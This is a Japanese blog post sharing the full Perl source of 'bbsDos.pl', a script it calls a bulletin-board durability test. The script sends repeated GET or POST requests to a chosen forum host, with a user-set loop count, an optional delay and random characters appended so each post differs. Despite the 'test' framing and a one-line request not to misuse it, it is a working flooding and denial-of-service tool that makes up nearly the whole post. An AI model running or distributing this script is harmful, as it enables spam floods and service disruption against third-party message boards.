今朝投稿した掲示板耐久性テスト プログラムをもう一度改良しました。改良点はGETでデータを送信していたのをPOSTでも送信可能にしました。もう少し短くできそうなものなんですがね。。。。。。
[flashvideo filename=https://www.orsx.net/wp-content/uploads/2009/08/bbsDos.flv /]
#!/usr/bin/perl ################################################# #ソフト名:掲示板耐久性テストプログラム #バージョン:Ver.2.0 #ファイル名:bbsDos.pl #作者:ORBIT #作者HP:https://www.orsx.net/ #※悪戯の目的で使用しないでください。 ################################################# #IO::Socketモジュールを使用する use IO::Socket; #Socketモジュールを使用する use Socket; #アクセス先ホストの指定 while($host eq ""){ print "X"x"50"."n"; print "URL(ホスト名)を入力してくださいn"; print "> http://"; $host = <stdin>; chomp $host; if($host eq "quit"){exit;} } #ポートを指定するかユーザーへ質問する print "X"x"50"."n"; print "ポート番号を指定しますか?[y/n]"; $q_port = <stdin>; print "指定しない場合は80番ポートへアクセスしますn"; chomp $q_port; #yが入力されたらポート番号が入力されるまで待機 if ($q_port eq "y"){ print "X"x"50"."n"; print "ポートを指定しますn"; print "> "; $port = <stdin>; chomp $port; }else{ $port = "80"; } #乱数を追記させるかを確認 print "X"x"50"."n"; print "送信するデータに乱数を追加しますか?[y/n]"; $r = <stdin>; chomp $r; #乱数を追記させるかを確認 if($r eq "y"){ print "X"x"50"."n"; print "乱数の文字数を指定してくださいn"; print "> "; $rr = <stdin>; chomp $rr; $rr = "1" if($rr eq ""); } #送信方法を確認 print "X"x"50"."n"; print "(GET/POST)どちらを利用しますか?[g/p]"; $net = <stdin>; chomp $net; if($net eq "p"){&post_set;} if($net eq "g"){&get_set;} #送信回数 print "X"x"50"."n"; print "ループさせる回数を指定してくださいn"; print "> "; $loop = <stdin>; chomp $loop; if($loop eq "" || $loop eq "1"){ $loop = "2"; $ex = "1"; } if($loop == "0"){ print "Error:0回のループは指定出来ません!n"; exit; } $loop-="1"; #スリープの設定 print "X"x"50"."n"; print "指定秒ウェイトを設定する場合は入力してくださいn"; print "> "; $slp = <stdin>; chomp $slp; #指定させた数字になるまでループ while($ex <= $loop){ #送信数のインクリメント print "X"x"50"."n"; $exd = $exd+"1"; print "$exd回目n"; #割合 if($loop ne ""){ $sa = int(($ex/$loop)*"100"); print "進行状況:[$sa%/100%]を完了しましたn"; $ex +="1"; } #送信サブルーチン呼び出し if($net eq "p"){&post;} if($net eq "g"){&get;} #スリープ print "$slp秒スリープしますn" if($slp ne ""); sleep $slp; } print "終了しましたn"; #------------------------------------------------ #サブルーチン #------------------------------------------------ #---------------------------- #GET #---------------------------- sub get_set{ #ファイルの場所の指定 print "X"x"50"."n"; print "URL(ファイルの場所と送信データ)を入力してくださいn"; print "乱数を追加しますのでコメントのname=で終了してくださいn" if($r eq "y"); print "> http://$host/"; $bbs = <stdin>; chomp $bbs; $bbs = "/".$bbs; } sub get{ #乱数格納 $bbs2=$bbs; if ($r eq "y"){ my @alph = ("a".."z"); my $result = ""; foreach ("1".."$rr") {$result .= $alph[rand(@alph)];} $bbs2.=$result; } #送信情報の出力 print "ホストへ以下の情報を送信中ですn"; print "$bbs2n"; #ホストへ接続を試みる $socket = new IO::Socket::INET ( PeerAddr => "$host", PeerPort => "$port", Proto => "tcp", ); #送信 print $socket "GET $bbs2 HTTP/1.0nn"; close($socket); } #----------------------------- #POST #----------------------------- sub post_set{ #ファイルまでのパスを指定 print "X"x"50"."n"; print "ファイルまでのパスを指定してくださいn"; print "> http://$host/"; $path = <stdin>; chomp $path; #送信データの確認 print "X"x"50"."n"; print "送信するデータを入力してくださいn"; print "乱数を追加しますのでコメントのname=で終了してくださいn" if($r eq "y"); print "> "; $data = <stdin>; } sub post{ $data2=$data; if ($r eq "y"){ my @alph = ("a".."z"); my $result = ""; foreach ("1".."$rr") {$result .= $alph[rand(@alph)];} $data2.=$result; } #送信情報の出力 print "ホストへ以下の情報を送信中ですn"; print "$data2n"; #ホストへ接続を試みる socket(SOCKET, PF_INET, SOCK_STREAM, 0); connect(SOCKET, pack_sockaddr_in($port, inet_aton($host))); select(SOCKET); $|=1; select(STDOUT); #送信 print SOCKET "POST /$path HTTP/1.0rn"; print SOCKET "Content-Length: ".length($data2)."rn"; print SOCKET "rn"; print SOCKET $data2; }
0 Comments.